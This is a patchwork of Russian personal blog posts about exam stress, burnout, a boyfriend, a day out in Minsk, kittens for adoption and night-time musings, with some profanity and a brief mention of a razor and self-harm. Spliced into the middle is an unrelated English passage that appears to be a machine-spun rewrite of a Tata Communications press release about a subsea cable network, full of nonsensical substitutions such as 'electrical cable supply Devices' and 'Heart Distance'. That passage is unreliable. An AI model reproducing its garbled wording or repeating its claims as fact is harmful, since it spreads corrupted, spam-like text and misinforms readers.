    Однажды он узнает тебя. Он будет знать твою дату рождения, твоё второе имя, где ты родилась, твой знак зодиака и имена твоих родителей. Он будет знать, во сколько ты научилась кататься на велосипеде, как умерли твои бабушка с дедушкой, сколько питомцев у тебя было и как сильно ты ненавидишь ходить в универ. Он будет знать цвет твоих глаз, твои шрамы, твои веснушки, твои линии смеха и твои родинки. Он будет знать твою любимую книгу, фильм, сладость, еду, пару обуви, цвет и песню. Он будет знать, почему ты часто не спишь в 5 утра, где ты была, когда осознала, что потеряла хорошего друга, почему ты взяла бритву и как тебе удалось положить её на место до того, как все зашло слишком далеко. Он будет знать твои фобии, мечты, страхи, желания и переживания. Он будет знать о твоём первом разрыве, свадьбе мечты и твоих проблемах с родителями. Он будет знать твою силу, слабость, лень, энергию и смешанные эмоции. Он будет знать о твоей любви к майонезу, мечте стать знаменитой, когда тебе было пять, необходимости цитировать весь фильм, который ты посмотрела, и страхе взросления. Он будет знать твои плохие привычки, твою манерность, несговорчивость, выражения лица и твой смех, будто бы это его любимая песня. Он будет знать, как ты жуёшь, пьёшь, гуляешь, целуешься, спишь и волнуешься. Он будет знать, что ты уже выбрала цветы на свадьбу, имена для детей, плитку в ванную, платье подружек невесты и цвет стен в комнате. Он будет знать, раздражаться, а потом принимать, что ты разбрасываешь вещи по комнате, делаешь заказ в Старбакс двадцать минут, должна расставлять диски в алфавитном порядке и проверять свой гороскоп… просто на всякий случай. Он будет знать твой заказ в Макдоналдсе, сколько ложек сахара класть тебе в чай, как много шариков мороженого ты хочешь, и, что твои сандвичи нужно нарезать треугольниками. Он будет знать, как ты себя чувствуешь, даже когда ты не говоришь ему об этом. Будет знать, что ты плачешь, даже не видя слез. Он будет знать все это. Все. Будет знать тебя, от макушки до пяток, да ещё и внутри. Изучая, делясь, слушая, наблюдая. Он будет знать каждую мелочь, которую можно знать. И, знаешь, что ещё? Он все ещё будет тебя любить.

    Ну вот. Началось. Совпали КД и моя заёбанность. Начала грубить всем подряд. Повсюду чудится потребительство и начала обижаться на любые мелочи.

    По-моему наступил этот предел, когда Аня устала всем помогать, слушать, мчаться куда-то ради кого-то, думая о том что это нормально.

    Просто заебали.

    Хочется толстым маркером написать себе на лбу: ОТВАЛИТЕ.

    За 20 дней до экзамена мне соизволили выдать билеты.. На теорию я так и не ходила. Кстати, оказалось, что я должна за эти два месяца всего лишь 10 дней по 8 часов работать в отделении. Я работаю больше месяца.. Почта такая почта, с какой стороны ни посмотри)

    Devices in addition to web hosting service corporation electrical cable supply Devices reported with Thurs. it offers done this world’s primary round-the-world nutritional fibre optic cable connection circle while using the public introduction connected with it is electrical cable World wide Circle – Eurasia cable connection.

    This go will probably widely improve entire on-line effectiveness in addition to swiftness intended for shoppers connected with Tata’s web host products and services, particularly when finalizing copious amounts connected with facts.

    Also, different serves in addition to the shoppers will probably gain benefit electrical cable supply whenever they associate having Tata, together with broadening the current market get to to help prospects world wide.

    This cable connection hooks up European union to help The indian subcontinent, as a result of Egypt, providing enhanced volume, resilience in addition to boosted devices inbound links towards Heart Distance in addition to all of those other earth.

    This finish on the remaining web page link all over Egypt helps Tata Devices to present it is shoppers one of a kind having access to some sort of wholly-owned exhibit way cable connection by European union to help The indian subcontinent having much better latency, redundancy in addition to scalability.

    Jointly with Tata’s not long ago unveiled electrical cable supply most of these channels will probably compliment this escalating desire intended for style, online video media in addition to facts products and services with in addition to outside the Beach spot. Tata not long ago unveiled it is InstaCompute cloud structure services with Singapore, which often likewise incorporates Malaysia, Hong Kong, Thailand, Indonesia, Vietnam along with the Philippines.

    “Our shoppers, no matter if some sort of Western european auto-manufacturer, a Asian kitchenware inn collection or maybe a substantial U. Ohydrates. personal products and services corporation, ought to vie with world wide promotes and are also stressful swifter and even more trusted world-wide on-line, ” claimed Vinod Kumar, coping with home in addition to PRESIDENT on electrical cable supply Devices. “Companies in addition to insurers with formulated in addition to promising companies involve this self confidence in addition to safety measures supplied by way of wholly-owned circle like electrical cable suppliers Devices electrical cable suppliers. That some sort of landmark minute intended for electric cable Devices as we legally introduction this world’s primary wholly-owned world wide sub cable connection circle to be a finish in addition to effective wedding ring world wide. ”

    This round-the-world wedding ring even offers city-to-city associations not like far more regular communities which often solely web page link cable connection attaining programs, giving an alternative that is certainly far more cost-effective, variable and offers some sort of swifter the perfect time to current market distribution.

    This finish on the remaining electric cable web page link practices major investment decision by Tata Devices with it is world wide circle nowadays.

    This TGN-EA cable connection process at this point interconnects European union, The indian subcontinent, this Beach in addition to Heart Distance faultlessly having all of those other earth though continually giving excellent quality electric cable bandwidth using a world wide degree.

    Tata Devices possesses in addition to runs this world’s major subsea electric cable circle which often extends to places that represent 99. 7 percent on the world’s GDP.

    Past thirty days, electric cable reported it will eventually produce on-line, web hosting service in addition to information distribution products and services to help Formula1.com in a multi-year technology service and marketing deal..

    Есть у нас в доме кот, пушистый очень. Один раз даже выкладывала сюда его фото, мы просто очень любим котов в гости таскать :) но, тк он истинный дворовый котище, вся его шерсть скаталась в огромные колтуны. Я однажды сказала, что в один прекрасный день из этих колтунов по новому коту сваляется. И, внезапно, так и случилось, кот стал мамой)) так вот, кто с Владивостока, никто случайно не хочет очаровательного кошачьего ребёнка?) есть чёрные и ч/б :)

    В воскресенье экзамен по матлогу, половина ночи ушла только на то, чтобы найти, какую и откуда теорию надо учить.

    Курсач пока так и не приняли, но все замечания я приняла и исправила. Жду вот.

    Живу одна у тети, за кошками слежу, режим вообще сбился, сплю весь день, иногда часов по 13-15, а всю ночь что-нибудь учу/готовлю/ем/смотрю/читаю.

    Мы встречаемся 14 месяцев, а я по-прежнему считаю его деньги, думаю, как сэкономить, ничего не прошу, от всего отказываюсь, пытаюсь всунуть деньги за купленные билеты в кино\мороженое\сладости\проезд и так далее.

    Не могу, не могу я с лёгкой душой тратить деньги своего парня!

    Первым делом начал читать пожелание в открытке.)

    Любимая "Голубая лагуна".

    Оказывается, Китти очень любит холодник.

    Фокачча.

    Запеканка с грибами. Безумно понравился соус барбекю.

    Запеченные блинчики с ветчиной и сыром для Китти.

    Мечтала увидеть вживую белочек.. Мечта сбылась!

    Ещё одна маленькая мечта- покататься на катамаранах. Выполнено!

    Вот только мы решили "полакшерить" и взять катамарн, где нужно управлять рулём.)

    Было стрёмненько..)

    Инсталяция с недели дизайна в минске.

    Уточка заценила.))

    Друзья плывут навстречу.)

    Мы крутились вокруг уток, а они вокруг нас.)

    На горизонте остров Слёз.

    И ужасный, признанный архитектурным провалом дорогущий дом. Кто в теме- "Трайпл".

    Девочки кормят голубей. Есть же ещё нормальные подростки.

    Мать кормит голубей, уток. Но, как говорится: "В семье не без урода", - дебил сын гоняет несчастных птиц.

    Мой капитан.

    Ну а здесь мы почти сели на мель.)

    Прелесть же.)

    Увидите меня на дорогах- СПАСАЙТЕСЬ. Вот, почему я не хочу сдавать на права.

    Хотела красивенький катамаран.. Гулять, так гулять. Поэтому взяли доргой- "Фольксваген жук".

    Ещё один новый друг.) Мы его погладили.)

    Счастливы.

    Кислородные молочные коктейли- божественно.

    Первым делом на "Колесо обозрения".

    Как же люблю его улыбку.

    Затем в 5D. Ходили на динозавров.) Мне было нестрашно, а наоборот прикольно- я люблю дионазвров, да и Китти называет меня Рексом.))

    После на "Ракушки", которые "Вальс".

    Меня чуть не вырвало..

    Закончили вот этим..)

    Мы без ума от этого шаржа.)

    Потрясающий развлекательный день мы закончили в "Cinnabon".

    Давно хотела, чтобы Китти попробовал эти божественные булочки с корицей.

    Ну и по традиции немного сериальчиков.

    Рай. Гастрономический оргазм.

    Врем третий час ночи.
    Сижу на кухне, ем банан (О МАМОЧКИ, ОН ЖЕ КАЛОРИЙНЫЙ!).
    Читаю критику по Достоевскому, вырываю куски Фрейда, подбадриваюсь Зайцевым.
    да-да-да, всё очень весело.
    в понедельник экзамен, я даже не готовилась.

    Нет, я не могу просто лечь спать и уснуть. Когда на улице так пахнет летом, когда летней свежестью и сладостью волнует и будоражит все - и тело, и мысли, и сердце, когда там, за окном, в рыжем свете фонарей, продолжается жизнь, и кто-то куда-то идет, кто-то куда-то едет, кто-то где-то не спит и действует, а ты - здесь, совершенно безоружный перед этим лихорадочным запахом и манящей ночной улицей, чувствуешь себя совершенно ужасно и неудовлетворенно, ты так и застываешь у раскрытого окна, пока не заставишь эти невыносимые ощущения и спазмы глубокой нервной печали освободиться через пальцы, терпеливо скользящие по экрану. Нет, ни скольжение, ни брожение, ни сидение - ничего не помогает, ничего из меня не вышло. Освободите меня от этой антисипатии и неудволетворенности, освободи меня. Come back to me in this warm chilly night

    Потрясающе. Ты и твоя мадам случайно у меня в ленте как вишенка на торте. Счастья и вам тоже. Что уж. Спасибо Вселенной за все мои хуевые мечты, за тупые влюбленности, за все мои слабости и истерики. Меня все равно #хуйсломишь